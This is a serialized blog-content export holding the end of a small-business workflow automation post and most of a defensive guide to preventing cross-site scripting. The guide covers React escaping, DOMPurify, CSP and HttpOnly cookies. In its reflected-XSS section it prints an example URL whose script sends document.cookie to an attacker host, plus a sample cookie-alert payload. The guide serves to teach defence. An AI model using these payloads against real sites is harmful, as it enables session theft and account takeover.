effort.",[19,10347,10348],{},"Here's the honest guide.",[26,10350,10352],{"id":10351},"the-automation-value-test","The Automation Value Test",[19,10354,10355],{},"Before you automate anything, run it through this test. A workflow is worth automating when it meets at least two of these three criteria:",[19,10357,10358,10361],{},[5027,10359,10360],{},"Frequency."," The task happens multiple times per week or more. Daily is better. Processes that happen monthly rarely justify automation investment — the development time doesn't recover.",[19,10363,10364,10367],{},[5027,10365,10366],{},"Manual effort."," The task takes meaningful human time — ideally at least 30 minutes per occurrence. Automating a 2-minute task that happens daily saves 10 hours per year. That's probably not worth the engineering investment unless it's also error-prone.",[19,10369,10370,10373],{},[5027,10371,10372],{},"Error rate or variability."," The task produces inconsistent results when done manually, or errors in this process cause downstream problems. Even if a process doesn't take long, if mistakes in it cause customer problems, support overhead, or rework — it's a high-value automation target.",[19,10375,10376],{},"Processes that score high on all three should go to the top of your list. Processes that score high on only one should wait.",[26,10378,10380],{"id":10379},"where-to-start-the-highest-roi-categories","Where to Start: The Highest-ROI Categories",[19,10382,10383],{},"Based on what I've seen work for businesses in the 10-50 employee range, these are the categories that consistently deliver strong returns on automation investment.",[19,10385,10386,10389],{},[5027,10387,10388],{},"Customer inquiry and onboarding flows."," A new inquiry comes in through your website. Someone needs to send an acknowledgment, assign it to a team member, create a record in your CRM, schedule a follow-up if no response comes in 24 hours. If any of those steps happen manually, they get missed sometimes — especially during busy periods. An automated flow that handles the full sequence from inquiry to first contact to follow-up removes the human failure points without removing human judgment from the actual sales conversation.",[19,10391,10392,10395],{},[5027,10393,10394],{},"Invoice generation and payment follow-up."," If you invoice clients, you almost certainly have a person who generates invoices from project milestones and another person who follows up on overdue payments. Both of these are high-frequency, low-judgment tasks that automation handles better than humans. Invoice generation from completed work orders, automatic payment reminders at 7/14/30 days overdue, and automatic escalation to a senior contact at 60 days — this sequence, automated, significantly improves cash flow without adding headcount.",[19,10397,10398,10401],{},[5027,10399,10400],{},"Scheduling and appointment management."," Any business where staff schedules appointments with clients is spending significant time on coordination that scheduling tools handle automatically. Calendly, Acuity, and similar tools seem obvious, but I'm consistently surprised by businesses that still coordinate appointments by phone or email. The time savings are immediate and the customer experience improvement is real.",[19,10403,10404,10407],{},[5027,10405,10406],{},"Employee onboarding task sequences."," Hiring someone new involves a checklist of tasks across multiple departments — IT equipment provisioning, accounts and access setup, payroll configuration, benefits enrollment, training schedule, introduction meetings. When this is manual, things get missed. A workflow tool that triggers tasks to the right people in the right sequence when a new hire is added ensures consistency without requiring a coordinator to track every step.",[19,10409,10410,10413],{},[5027,10411,10412],{},"Inventory reorder triggers."," If you hold physical inventory, manual reorder points are a constant failure mode — you either order too early (cash tied up in stock) or too late (stockouts). An automated trigger that creates a purchase order when inventory falls below a defined threshold, routes it for approval, and follows up if the approval stalls removes the human monitoring task without removing human oversight.",[26,10415,10417],{"id":10416},"the-tools-that-work-at-small-business-scale","The Tools That Work at Small Business Scale",[19,10419,10420],{},"There's a spectrum of automation tools, and the right one depends on your technical capacity and your process complexity.",[19,10422,10423,10426],{},[5027,10424,10425],{},"No-code automation platforms (Zapier, Make):"," These are the right starting point for most small businesses. You connect applications without writing code, define triggers and actions, and build multi-step sequences with branching logic. They work best for data movement between systems — \"when a lead is created in HubSpot, create a task in Asana and send a Slack message.\" At around 1,000-2,000 tasks per month, costs become meaningful, but for most small businesses that's not a constraint in early stages.",[19,10428,10429,10432],{},[5027,10430,10431],{},"Native automation within your existing tools:"," Many tools you're already paying for have automation built in that goes unused. HubSpot workflows, Salesforce Process Builder, QuickBooks automation, Gmail filters and auto-responses — before you add a new tool, audit what your existing stack can do natively. The automation you don't have to maintain is always the best automation.",[19,10434,10435,10438],{},[5027,10436,10437],{},"Purpose-built vertical tools:"," For industry-specific workflows, there are often tools purpose-built for your exact automation need. Service businesses might use ServiceTitan or Jobber. Real estate offices use Follow Up Boss. Restaurants use Toast. These tools have the automation built into the product, which is almost always better than stitching together general-purpose tools for the same result.",[19,10440,10441,10444],{},[5027,10442,10443],{},"Custom development:"," When your workflow is genuinely custom — your process is differentiated, the off-the-shelf tools don't fit, the volume justifies investment — custom automation development makes sense. This is a meaningful investment, but for the right processes it pays back quickly.",[26,10446,10448],{"id":10447},"what-to-skip-for-now","What to Skip (For Now)",[19,10450,10451],{},"Not every automation idea is worth pursuing. These are the categories where small businesses often waste time.",[19,10453,10454,10457],{},[5027,10455,10456],{},"Highly variable or exception-heavy processes."," If 30% of cases need human judgment to handle correctly, automation that handles the other 70% is only marginally useful and often creates problems when it mishandles the exceptions. Automate the clean path when exceptions are rare — not when they're common.",[19,10459,10460,10463],{},[5027,10461,10462],{},"Processes you might change significantly in the next 12 months."," Automation is a form of process documentation. If you automate a workflow that's actively being reconsidered, you'll rebuild the automation after the process changes. Wait until the process is stable.",[19,10465,10466,10469],{},[5027,10467,10468],{},"Automations that require more maintenance than they save."," Some automation tools break when APIs change, when the data format shifts slightly, or when business rules evolve. If maintaining the automation costs more time than doing the task manually, it's not actually automation — it's technical debt wearing an efficiency hat.",[19,10471,10472,10475],{},[5027,10473,10474],{},"Document generation for genuinely variable documents."," Template-based document generation works well for documents that are 80% standardized. It works poorly for documents that require significant judgment in each case — complex proposals, legal documents with non-standard terms, creative deliverables. The automation becomes a constraint instead of a help.",[26,10477,10479],{"id":10478},"the-implementation-approach-that-works","The Implementation Approach That Works",[19,10481,10482],{},"Small businesses that automate successfully usually follow a pattern.",[19,10484,10485],{},"They start with one high-value workflow, not five. They implement it simply, even if that means it's not perfect. They measure the result — time saved, error rate, volume handled. When that automation is stable, they move to the next one.",[19,10487,10488],{},"The businesses that fail at automation try to automate everything at once, choose tools that are too complex for their capacity, and abandon the initiative when the implementation takes longer than expected.",[19,10490,10491],{},"One good automation running reliably is worth ten planned automations that never got finished.",[19,10493,10494],{},[5027,10495,10496],{},"Before automating any process:",[5278,10498,10499,10502,10505,10508,10511],{},[586,10500,10501],{},"Document the current process exactly as it works today",[586,10503,10504],{},"Identify the highest-frequency failure points",[586,10506,10507],{},"Design the automated version of just those failure points",[586,10509,10510],{},"Implement the simplest version that solves the problem",[586,10512,10513],{},"Monitor it for two weeks before adding complexity",[19,10515,10516],{},"This discipline prevents the most common failure: over-engineering automation for a process you don't actually understand well yet.",[26,10518,10520],{"id":10519},"the-roi-calculation","The ROI Calculation",[19,10522,10523],{},"Small business automation should be held to a return on investment standard. Here's a simple calculation:",[19,10525,10526],{},"Annual value of automation = (hours saved per week) x 52 x (fully-loaded hourly cost of the person doing the task)",[19,10528,10529],{},"If that number exceeds the annual cost of the tool plus the one-time implementation cost amortized over three years, the automation is justified.",[19,10531,10532],{},"For most small business automations, the payback period is 3-6 months. If your calculation shows 18+ months, either the process isn't a good automation candidate or you're using the wrong tool.",[19,10534,10535,10536,10540],{},"If you want help identifying which processes in your business are the highest-value automation targets and what implementation approach makes sense for your scale, ",[571,10537,10539],{"href":573,"rel":10538},[575],"book a conversation at calendly.com/jamesrossjr",". I can usually identify the top three opportunities in the first call.",[565,10542],{},[26,10544,581],{"id":580},[583,10546,10547,10553,10559,10565],{},[586,10548,10549],{},[571,10550,10552],{"href":10551},"/blog/business-process-automation","Business Process Automation: The Systems That Pay for Themselves",[586,10554,10555],{},[571,10556,10558],{"href":10557},"/blog/agile-for-small-teams","Agile for Small Teams: What to Keep, What to Skip",[586,10560,10561],{},[571,10562,10564],{"href":10563},"/blog/custom-inventory-management-system","Custom Inventory Management Systems: What They Can Do That Off-the-Shelf Can't",[586,10566,10567],{},[571,10568,10570],{"href":10569},"/blog/database-backup-strategies","Database Backup Strategies for Production: The Ones That Actually Work",{"title":84,"searchDepth":119,"depth":119,"links":10572},[10573,10574,10575,10576,10577,10578,10579,10580],{"id":10338,"depth":112,"text":10339},{"id":10351,"depth":112,"text":10352},{"id":10379,"depth":112,"text":10380},{"id":10416,"depth":112,"text":10417},{"id":10447,"depth":112,"text":10448},{"id":10478,"depth":112,"text":10479},{"id":10519,"depth":112,"text":10520},{"id":580,"depth":112,"text":581},"Workflow automation for small business should pay for itself quickly. Here's how to identify the right processes to automate first and avoid common traps that waste time and money.",[10583,10584],"workflow automation small business","business process automation",{},"/blog/workflow-automation-small-business",{"title":10332,"description":10581},"blog/workflow-automation-small-business",[10590,10591,10592,10593,10594],"Workflow Automation","Small Business","Business Process","Operations","Efficiency","K0UXTrio6FL5vNes8HjI_fcYMH-53d9yEYVrC5dY7pg",{"id":10597,"title":10598,"author":10599,"body":10600,"category":6334,"date":627,"description":11574,"extension":629,"featured":630,"image":631,"keywords":11575,"meta":11578,"navigation":115,"path":11579,"readTime":509,"seo":11580,"stem":11581,"tags":11582,"__hash__":11585},"blog/blog/xss-prevention-guide.md","XSS Prevention: Cross-Site Scripting Still Kills and Here's What to Do About It",{"name":9,"bio":10},{"type":12,"value":10601,"toc":11564},[10602,10605,10608,10611,10615,10621,10627,10630,10636,10642,10646,10649,10712,10718,10777,10787,10792,10796,10799,10946,10963,10966,10970,10973,10976,11007,11010,11047,11139,11155,11158,11273,11277,11280,11283,11289,11292,11321,11334,11337,11340,11346,11349,11353,11363,11458,11464,11470,11474,11477,11525,11527,11533,11535,11537,11561],[15,10603,10598],{"id":10604},"xss-prevention-cross-site-scripting-still-kills-and-heres-what-to-do-about-it",[19,10606,10607],{},"Cross-site scripting is frequently dismissed as \"just an annoyance\" — attackers can deface pages or redirect users, but nothing serious. This is wrong. An XSS vulnerability that runs arbitrary JavaScript in the browser of an authenticated user can: steal session cookies and authenticate as that user, capture keystrokes including passwords typed after the exploit, exfiltrate all data the user can access, make API calls on behalf of the user (transfer money, change email/password, delete data), and silently persist through stored XSS that attacks every future user who views the page.",[19,10609,10610],{},"XSS is not an annoyance. It is a mechanism for complete account takeover.",[26,10612,10614],{"id":10613},"the-three-types-of-xss","The Three Types of XSS",[19,10616,10617,10620],{},[5027,10618,10619],{},"Reflected XSS"," — malicious script is in the URL and gets embedded in the HTML response. The attack is delivered via a link. When the victim clicks the link, the script executes in their browser in the context of your application.",[79,10622,10625],{"className":10623,"code":10624,"language":5388},[5386],"https://example.com/search?q=\u003Cscript>document.location='https://attacker.com/steal?c='+document.cookie\u003C/script>\n",[40,10626,10624],{"__ignoreMap":84},[19,10628,10629],{},"If your search results page renders the query parameter directly into HTML without encoding, this script executes.",[19,10631,10632,10635],{},[5027,10633,10634],{},"Stored XSS"," — malicious script is saved to the database and rendered for every user who views it. The classic example: an attacker posts a comment containing a script. Every user who reads that comment page executes the script. This is the most dangerous type because one attack affects many victims.",[19,10637,10638,10641],{},[5027,10639,10640],{},"DOM-based XSS"," — the vulnerability is entirely in client-side JavaScript. The server never sees the malicious payload. JavaScript reads from a dangerous source (URL hash, localStorage, document.referrer) and writes to a dangerous sink (innerHTML, document.write, eval) without sanitization.",[26,10643,10645],{"id":10644},"how-react-and-modern-frameworks-protect-you-and-where-they-do-not","How React and Modern Frameworks Protect You (and Where They Do Not)",[19,10647,10648],{},"React escapes all output by default. When you render a string value in JSX, React HTML-encodes it before inserting it into the DOM. This prevents the vast majority of reflected and stored XSS from being possible in standard React usage:",[79,10650,10654],{"className":10651,"code":10652,"language":10653,"meta":84,"style":84},"language-tsx shiki shiki-themes github-dark","// Safe — React encodes the value\nfunction SearchResults({ query }: { query: string }) {\n return \u003Ch2>Results for {query}\u003C/h2>; // Safe even if query contains HTML\n}\n","tsx",[40,10655,10656,10661,10689,10708],{"__ignoreMap":84},[88,10657,10658],{"class":90,"line":91},[88,10659,10660],{"class":346},"// Safe — React encodes the value\n",[88,10662,10663,10665,10668,10671,10673,10676,10678,10680,10682,10684,10686],{"class":90,"line":112},[88,10664,759],{"class":94},[88,10666,10667],{"class":131}," SearchResults",[88,10669,10670],{"class":98},"({ ",[88,10672,7199],{"class":138},[88,10674,10675],{"class":98}," }",[88,10677,142],{"class":94},[88,10679,781],{"class":98},[88,10681,7199],{"class":138},[88,10683,142],{"class":94},[88,10685,146],{"class":145},[88,10687,10688],{"class":98}," }) {\n",[88,10690,10691,10693,10695,10697,10700,10702,10705],{"class":90,"line":119},[88,10692,194],{"class":94},[88,10694,4225],{"class":98},[88,10696,26],{"class":2571},[88,10698,10699],{"class":98},">Results for {query}\u003C/",[88,10701,26],{"class":2571},[88,10703,10704],{"class":98},">; ",[88,10706,10707],{"class":346},"// Safe even if query contains HTML\n",[88,10709,10710],{"class":90,"line":166},[88,10711,211],{"class":98},[19,10713,10714,10715,10717],{},"The dangerous escape hatch is ",[40,10716,6188],{},". The name is the warning:",[79,10719,10721],{"className":10651,"code":10720,"language":10653,"meta":84,"style":84},"// Dangerous — renders raw HTML without escaping\nfunction Comment({ content }: { content: string }) {\n return \u003Cdiv dangerouslySetInnerHTML={{ __html: content }} />; // XSS if content is not sanitized\n}\n",[40,10722,10723,10728,10754,10773],{"__ignoreMap":84},[88,10724,10725],{"class":90,"line":91},[88,10726,10727],{"class":346},"// Dangerous — renders raw HTML without escaping\n",[88,10729,10730,10732,10735,10737,10740,10742,10744,10746,10748,10750,10752],{"class":90,"line":112},[88,10731,759],{"class":94},[88,10733,10734],{"class":131}," Comment",[88,10736,10670],{"class":98},[88,10738,10739],{"class":138},"content",[88,10741,10675],{"class":98},[88,10743,142],{"class":94},[88,10745,781],{"class":98},[88,10747,10739],{"class":138},[88,10749,142],{"class":94},[88,10751,146],{"class":145},[88,10753,10688],{"class":98},[88,10755,10756,10758,10760,10762,10765,10767,10770],{"class":90,"line":119},[88,10757,194],{"class":94},[88,10759,4225],{"class":98},[88,10761,4228],{"class":2571},[88,10763,10764],{"class":131}," dangerouslySetInnerHTML",[88,10766,805],{"class":94},[88,10768,10769],{"class":98},"{{ __html: content }} />; ",[88,10771,10772],{"class":346},"// XSS if content is not sanitized\n",[88,10774,10775],{"class":90,"line":166},[88,10776,211],{"class":98},[19,10778,10779,10780,10783,10784,10786],{},"If a user submits ",[40,10781,10782],{},"\u003Cscript>alert(document.cookie)\u003C/script>"," as a comment, and you render it with ",[40,10785,6188],{},", that script executes for every user who views the page.",[19,10788,10789,10791],{},[40,10790,6188],{}," has legitimate uses — rendering rich text from a CMS, displaying HTML emails, embedding formatted content. The key is always sanitizing the HTML before rendering it.",[26,10793,10795],{"id":10794},"sanitizing-html-the-correct-approach","Sanitizing HTML: The Correct Approach",[19,10797,10798],{},"When you must render user-supplied HTML, use a dedicated HTML sanitization library that removes dangerous elements and attributes while preserving formatting:",[79,10800,10802],{"className":81,"code":10801,"language":83,"meta":84,"style":84},"import DOMPurify from \"dompurify\";\n\nFunction Comment({ content }: { content: string }) {\n const sanitized = DOMPurify.sanitize(content, {\n ALLOWED_TAGS: [\"p\", \"strong\", \"em\", \"ul\", \"ol\", \"li\", \"a\"],\n ALLOWED_ATTR: [\"href\"],\n ALLOW_DATA_ATTR: false,\n });\n\n return \u003Cdiv dangerouslySetInnerHTML={{ __html: sanitized }} />;\n}\n",[40,10803,10804,10818,10822,10832,10850,10891,10901,10910,10915,10919,10942],{"__ignoreMap":84},[88,10805,10806,10808,10811,10813,10816],{"class":90,"line":91},[88,10807,95],{"class":94},[88,10809,10810],{"class":98}," DOMPurify ",[88,10812,102],{"class":94},[88,10814,10815],{"class":105}," \"dompurify\"",[88,10817,109],{"class":98},[88,10819,10820],{"class":90,"line":112},[88,10821,116],{"emptyLinePlaceholder":115},[88,10823,10824,10826,10829],{"class":90,"line":119},[88,10825,6070],{"class":98},[88,10827,10828],{"class":131},"Comment",[88,10830,10831],{"class":98},"({ content }: { content: string }) {\n",[88,10833,10834,10836,10839,10841,10844,10847],{"class":90,"line":166},[88,10835,169],{"class":94},[88,10837,10838],{"class":145}," sanitized",[88,10840,175],{"class":94},[88,10842,10843],{"class":98}," DOMPurify.",[88,10845,10846],{"class":131},"sanitize",[88,10848,10849],{"class":98},"(content, {\n",[88,10851,10852,10855,10858,10860,10863,10865,10868,10870,10873,10875,10878,10880,10883,10885,10888],{"class":90,"line":191},[88,10853,10854],{"class":98}," ALLOWED_TAGS: [",[88,10856,10857],{"class":105},"\"p\"",[88,10859,483],{"class":98},[88,10861,10862],{"class":105},"\"strong\"",[88,10864,483],{"class":98},[88,10866,10867],{"class":105},"\"em\"",[88,10869,483],{"class":98},[88,10871,10872],{"class":105},"\"ul\"",[88,10874,483],{"class":98},[88,10876,10877],{"class":105},"\"ol\"",[88,10879,483],{"class":98},[88,10881,10882],{"class":105},"\"li\"",[88,10884,483],{"class":98},[88,10886,10887],{"class":105},"\"a\"",[88,10889,10890],{"class":98},"],\n",[88,10892,10893,10896,10899],{"class":90,"line":208},[88,10894,10895],{"class":98}," ALLOWED_ATTR: [",[88,10897,10898],{"class":105},"\"href\"",[88,10900,10890],{"class":98},[88,10902,10903,10906,10908],{"class":90,"line":509},[88,10904,10905],{"class":98}," ALLOW_DATA_ATTR: ",[88,10907,1543],{"class":145},[88,10909,287],{"class":98},[88,10911,10912],{"class":90,"line":520},[88,10913,10914],{"class":98}," });\n",[88,10916,10917],{"class":90,"line":526},[88,10918,116],{"emptyLinePlaceholder":115},[88,10920,10921,10923,10925,10927,10929,10932,10935,10937,10939],{"class":90,"line":532},[88,10922,194],{"class":94},[88,10924,4225],{"class":98},[88,10926,4228],{"class":131},[88,10928,10764],{"class":131},[88,10930,10931],{"class":98},"={{ ",[88,10933,10934],{"class":138},"__html",[88,10936,142],{"class":94},[88,10938,10838],{"class":131},[88,10940,10941],{"class":98}," }} />;\n",[88,10943,10944],{"class":90,"line":815},[88,10945,211],{"class":98},[19,10947,10948,10949,10952,10953,483,10956,10958,10959,10962],{},"DOMPurify removes ",[40,10950,10951],{},"\u003Cscript>"," tags, inline event handlers (",[40,10954,10955],{},"onclick",[40,10957,1170],{},", etc.), ",[40,10960,10961],{},"javascript:"," URLs, and any other dangerous content while preserving your allowed tags and attributes.",[19,10964,10965],{},"Server-side sanitization before storage is also appropriate — but do not rely on it exclusively. Sanitize again at render time. Defense in depth: if something sanitized stored content fails for a specific case, render-time sanitization is the backstop.",[26,10967,10969],{"id":10968},"dom-based-xss-the-invisible-vulnerability","DOM-Based XSS: The Invisible Vulnerability",[19,10971,10972],{},"DOM-based XSS does not involve the server at all, which means server-side output encoding does not protect you. The vulnerability is entirely in your JavaScript.",[19,10974,10975],{},"Common dangerous sources (attacker-controlled input):",[583,10977,10978,10989,10994,11002],{},[586,10979,10980,483,10983,483,10986],{},[40,10981,10982],{},"location.href",[40,10984,10985],{},"location.search",[40,10987,10988],{},"location.hash",[586,10990,10991],{},[40,10992,10993],{},"document.referrer",[586,10995,10996,483,10999],{},[40,10997,10998],{},"localStorage",[40,11000,11001],{},"sessionStorage",[586,11003,11004],{},[40,11005,11006],{},"window.name",[19,11008,11009],{},"Common dangerous sinks (places where data is executed or rendered):",[583,11011,11012,11018,11023,11028,11038],{},[586,11013,11014,11017],{},[40,11015,11016],{},"innerHTML"," (setting inner HTML of an element)",[586,11019,11020],{},[40,11021,11022],{},"document.write()",[586,11024,11025],{},[40,11026,11027],{},"eval()",[586,11029,11030,11033,11034,11037],{},[40,11031,11032],{},"setTimeout()"," / ",[40,11035,11036],{},"setInterval()"," with string argument",[586,11039,11040,11043,11044,11046],{},[40,11041,11042],{},"location.href = "," (can be used for ",[40,11045,10961],{}," URLs)",[79,11048,11052],{"className":11049,"code":11050,"language":11051,"meta":84,"style":84},"language-javascript shiki shiki-themes github-dark","// Vulnerable DOM-based XSS\nconst query = new URLSearchParams(window.location.search).get(\"q\");\ndocument.getElementById(\"search-term\").innerHTML = query; // XSS if query contains HTML\n\n// Safe\ndocument.getElementById(\"search-term\").textContent = query; // textContent never executes HTML\n","javascript",[40,11053,11054,11059,11086,11110,11114,11119],{"__ignoreMap":84},[88,11055,11056],{"class":90,"line":91},[88,11057,11058],{"class":346},"// Vulnerable DOM-based XSS\n",[88,11060,11061,11063,11066,11068,11070,11073,11076,11078,11080,11083],{"class":90,"line":112},[88,11062,2021],{"class":94},[88,11064,11065],{"class":145}," query",[88,11067,175],{"class":94},[88,11069,971],{"class":94},[88,11071,11072],{"class":131}," URLSearchParams",[88,11074,11075],{"class":98},"(window.location.search).",[88,11077,5577],{"class":131},[88,11079,135],{"class":98},[88,11081,11082],{"class":105},"\"q\"",[88,11084,11085],{"class":98},");\n",[88,11087,11088,11091,11094,11096,11099,11102,11104,11107],{"class":90,"line":119},[88,11089,11090],{"class":98},"document.",[88,11092,11093],{"class":131},"getElementById",[88,11095,135],{"class":98},[88,11097,11098],{"class":105},"\"search-term\"",[88,11100,11101],{"class":98},").innerHTML ",[88,11103,805],{"class":94},[88,11105,11106],{"class":98}," query; ",[88,11108,11109],{"class":346},"// XSS if query contains HTML\n",[88,11111,11112],{"class":90,"line":166},[88,11113,116],{"emptyLinePlaceholder":115},[88,11115,11116],{"class":90,"line":191},[88,11117,11118],{"class":346},"// Safe\n",[88,11120,11121,11123,11125,11127,11129,11132,11134,11136],{"class":90,"line":208},[88,11122,11090],{"class":98},[88,11124,11093],{"class":131},[88,11126,135],{"class":98},[88,11128,11098],{"class":105},[88,11130,11131],{"class":98},").textContent ",[88,11133,805],{"class":94},[88,11135,11106],{"class":98},[88,11137,11138],{"class":346},"// textContent never executes HTML\n",[19,11140,11141,11142,11145,11146,11148,11149,11151,11152,11154],{},"The fix for most DOM-based XSS is using ",[40,11143,11144],{},"textContent"," instead of ",[40,11147,11016],{}," when you are inserting text. ",[40,11150,11144],{}," always treats the value as literal text, never as HTML. Only use ",[40,11153,11016],{}," when you explicitly need to insert HTML, and always sanitize first.",[19,11156,11157],{},"For URL parameters that will be used to construct links, validate and allowlist:",[79,11159,11161],{"className":81,"code":11160,"language":83,"meta":84,"style":84},"function getSafeRedirectUrl(url: string): string {\n try {\n const parsed = new URL(url, window.location.origin);\n // Only allow same-origin redirects\n if (parsed.origin !== window.location.origin) {\n return \"/\"; // Default to homepage for external URLs\n }\n return parsed.href;\n } catch {\n return \"/\";\n }\n}\n",[40,11162,11163,11186,11192,11208,11213,11225,11238,11242,11249,11257,11265,11269],{"__ignoreMap":84},[88,11164,11165,11167,11170,11172,11174,11176,11178,11180,11182,11184],{"class":90,"line":91},[88,11166,759],{"class":94},[88,11168,11169],{"class":131}," getSafeRedirectUrl",[88,11171,135],{"class":98},[88,11173,784],{"class":138},[88,11175,142],{"class":94},[88,11177,146],{"class":145},[88,11179,149],{"class":98},[88,11181,142],{"class":94},[88,11183,146],{"class":145},[88,11185,452],{"class":98},[88,11187,11188,11190],{"class":90,"line":112},[88,11189,1661],{"class":94},[88,11191,452],{"class":98},[88,11193,11194,11196,11198,11200,11202,11205],{"class":90,"line":119},[88,11195,169],{"class":94},[88,11197,1900],{"class":145},[88,11199,175],{"class":94},[88,11201,971],{"class":94},[88,11203,11204],{"class":131}," URL",[88,11206,11207],{"class":98},"(url, window.location.origin);\n",[88,11209,11210],{"class":90,"line":166},[88,11211,11212],{"class":346}," // Only allow same-origin redirects\n",[88,11214,11215,11217,11220,11222],{"class":90,"line":191},[88,11216,1122],{"class":94},[88,11218,11219],{"class":98}," (parsed.origin ",[88,11221,1744],{"class":94},[88,11223,11224],{"class":98}," window.location.origin) {\n",[88,11226,11227,11229,11232,11235],{"class":90,"line":208},[88,11228,194],{"class":94},[88,11230,11231],{"class":105}," \"/\"",[88,11233,11234],{"class":98},"; ",[88,11236,11237],{"class":346},"// Default to homepage for external URLs\n",[88,11239,11240],{"class":90,"line":509},[88,11241,523],{"class":98},[88,11243,11244,11246],{"class":90,"line":520},[88,11245,194],{"class":94},[88,11247,11248],{"class":98}," parsed.href;\n",[88,11250,11251,11253,11255],{"class":90,"line":526},[88,11252,802],{"class":98},[88,11254,1719],{"class":94},[88,11256,452],{"class":98},[88,11258,11259,11261,11263],{"class":90,"line":532},[88,11260,194],{"class":94},[88,11262,11231],{"class":105},[88,11264,109],{"class":98},[88,11266,11267],{"class":90,"line":815},[88,11268,523],{"class":98},[88,11270,11271],{"class":90,"line":858},[88,11272,211],{"class":98},[26,11274,11276],{"id":11275},"content-security-policy","Content Security Policy",[19,11278,11279],{},"Content Security Policy (CSP) is a browser security mechanism that restricts which scripts, styles, and other resources can execute on your page. Even if an attacker injects a script, CSP can prevent it from executing.",[19,11281,11282],{},"A strict CSP for a React application:",[79,11284,11287],{"className":11285,"code":11286,"language":5388},[5386],"Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.yourdomain.com; frame-ancestors 'none';\n",[40,11288,11286],{"__ignoreMap":84},[19,11290,11291],{},"This policy:",[583,11293,11294,11300,11306,11315],{},[586,11295,11296,11299],{},[40,11297,11298],{},"default-src 'self'"," — only load resources from the same origin by default",[586,11301,11302,11305],{},[40,11303,11304],{},"script-src 'self'"," — only execute scripts from the same origin (no inline scripts, no external scripts)",[586,11307,11308,11309,11311,11312,149],{},"No ",[40,11310,11027],{}," or dynamic code execution (blocked by default without ",[40,11313,11314],{},"'unsafe-eval'",[586,11316,11317,11320],{},[40,11318,11319],{},"frame-ancestors 'none'"," — page cannot be embedded in iframes",[19,11322,11323,11324,11326,11327,11330,11331,11333],{},"Adding CSP with ",[40,11325,11304],{}," (no ",[40,11328,11329],{},"'unsafe-inline'",") means even if an attacker injects a ",[40,11332,10951],{}," tag, the browser refuses to execute it because inline scripts are not allowed.",[19,11335,11336],{},"CSP breaks applications that use inline scripts or styles. The migration path is to move all JavaScript to external files and replace inline styles with classes. For frameworks like React, this is the standard output — no inline scripts are needed.",[19,11338,11339],{},"Use CSP report mode first to identify violations without blocking:",[79,11341,11344],{"className":11342,"code":11343,"language":5388},[5386],"Content-Security-Policy-Report-Only: default-src 'self'; report-uri /api/csp-report\n",[40,11345,11343],{"__ignoreMap":84},[19,11347,11348],{},"This sends violation reports to your endpoint without breaking anything. Review the reports to understand what would break before enabling enforcement mode.",[26,11350,11352],{"id":11351},"httponly-cookies-limiting-cookie-theft","HttpOnly Cookies: Limiting Cookie Theft",[19,11354,11355,11356,11359,11360,11362],{},"Even if XSS executes, ",[40,11357,11358],{},"HttpOnly"," cookies are not accessible to JavaScript. Set ",[40,11361,11358],{}," on your session cookies and authentication tokens stored in cookies:",[79,11364,11366],{"className":81,"code":11365,"language":83,"meta":84,"style":84},"res.cookie(\"session\", sessionToken, {\n httpOnly: true, // Not accessible to JavaScript\n secure: true, // Only sent over HTTPS\n sameSite: \"strict\", // Not sent on cross-site requests\n maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days\n});\n",[40,11367,11368,11384,11396,11408,11421,11454],{"__ignoreMap":84},[88,11369,11370,11373,11376,11378,11381],{"class":90,"line":91},[88,11371,11372],{"class":98},"res.",[88,11374,11375],{"class":131},"cookie",[88,11377,135],{"class":98},[88,11379,11380],{"class":105},"\"session\"",[88,11382,11383],{"class":98},", sessionToken, {\n",[88,11385,11386,11389,11391,11393],{"class":90,"line":112},[88,11387,11388],{"class":98}," httpOnly: ",[88,11390,1991],{"class":145},[88,11392,483],{"class":98},[88,11394,11395],{"class":346},"// Not accessible to JavaScript\n",[88,11397,11398,11401,11403,11405],{"class":90,"line":119},[88,11399,11400],{"class":98}," secure: ",[88,11402,1991],{"class":145},[88,11404,483],{"class":98},[88,11406,11407],{"class":346},"// Only sent over HTTPS\n",[88,11409,11410,11413,11416,11418],{"class":90,"line":166},[88,11411,11412],{"class":98}," sameSite: ",[88,11414,11415],{"class":105},"\"strict\"",[88,11417,483],{"class":98},[88,11419,11420],{"class":346},"// Not sent on cross-site requests\n",[88,11422,11423,11426,11429,11432,11435,11437,11440,11442,11444,11446,11449,11451],{"class":90,"line":191},[88,11424,11425],{"class":98}," maxAge: ",[88,11427,11428],{"class":145},"7",[88,11430,11431],{"class":94}," *",[88,11433,11434],{"class":145}," 24",[88,11436,11431],{"class":94},[88,11438,11439],{"class":145}," 60",[88,11441,11431],{"class":94},[88,11443,11439],{"class":145},[88,11445,11431],{"class":94},[88,11447,11448],{"class":145}," 1000",[88,11450,483],{"class":98},[88,11452,11453],{"class":346},"// 7 days\n",[88,11455,11456],{"class":90,"line":208},[88,11457,411],{"class":98},[19,11459,11460,11461,11463],{},"An XSS attack on a site with ",[40,11462,11358],{}," session cookies cannot steal the session token directly. The attacker can still make API calls using the browser's automatic cookie inclusion, but cannot extract the token itself to use elsewhere.",[19,11465,11466,11467,11469],{},"This is defense in depth — XSS is still a serious vulnerability that can cause significant harm even without cookie theft, but ",[40,11468,11358],{}," eliminates one major attack path.",[26,11471,11473],{"id":11472},"the-xss-prevention-checklist","The XSS Prevention Checklist",[19,11475,11476],{},"Before shipping any feature that handles user-generated content:",[583,11478,11479,11482,11494,11504,11510,11513,11522],{},[586,11480,11481],{},"React/Vue/Angular renders values escaped by default — do not bypass without sanitization",[586,11483,11484,11485,11033,11487,11033,11490,11493],{},"All uses of ",[40,11486,6188],{},[40,11488,11489],{},"v-html",[40,11491,11492],{},"[innerHtml]"," sanitize input with DOMPurify",[586,11495,11496,11497,483,11499,10007,11501,11503],{},"No use of ",[40,11498,11016],{},[40,11500,11022],{},[40,11502,11027],{}," with user input",[586,11505,11506,11507,11509],{},"URL parameters used in links are validated to reject ",[40,11508,10961],{}," URLs",[586,11511,11512],{},"CSP headers configured and enforced",[586,11514,11515,11516,4474,11518,11521],{},"Session cookies set with ",[40,11517,11358],{},[40,11519,11520],{},"Secure"," flags",[586,11523,11524],{},"User-generated content sanitized server-side before storage and client-side before rendering",[565,11526],{},[19,11528,11529,11530,393],{},"If you want a security review focusing on XSS vulnerabilities in your frontend or want help implementing CSP for an existing application, book a session at 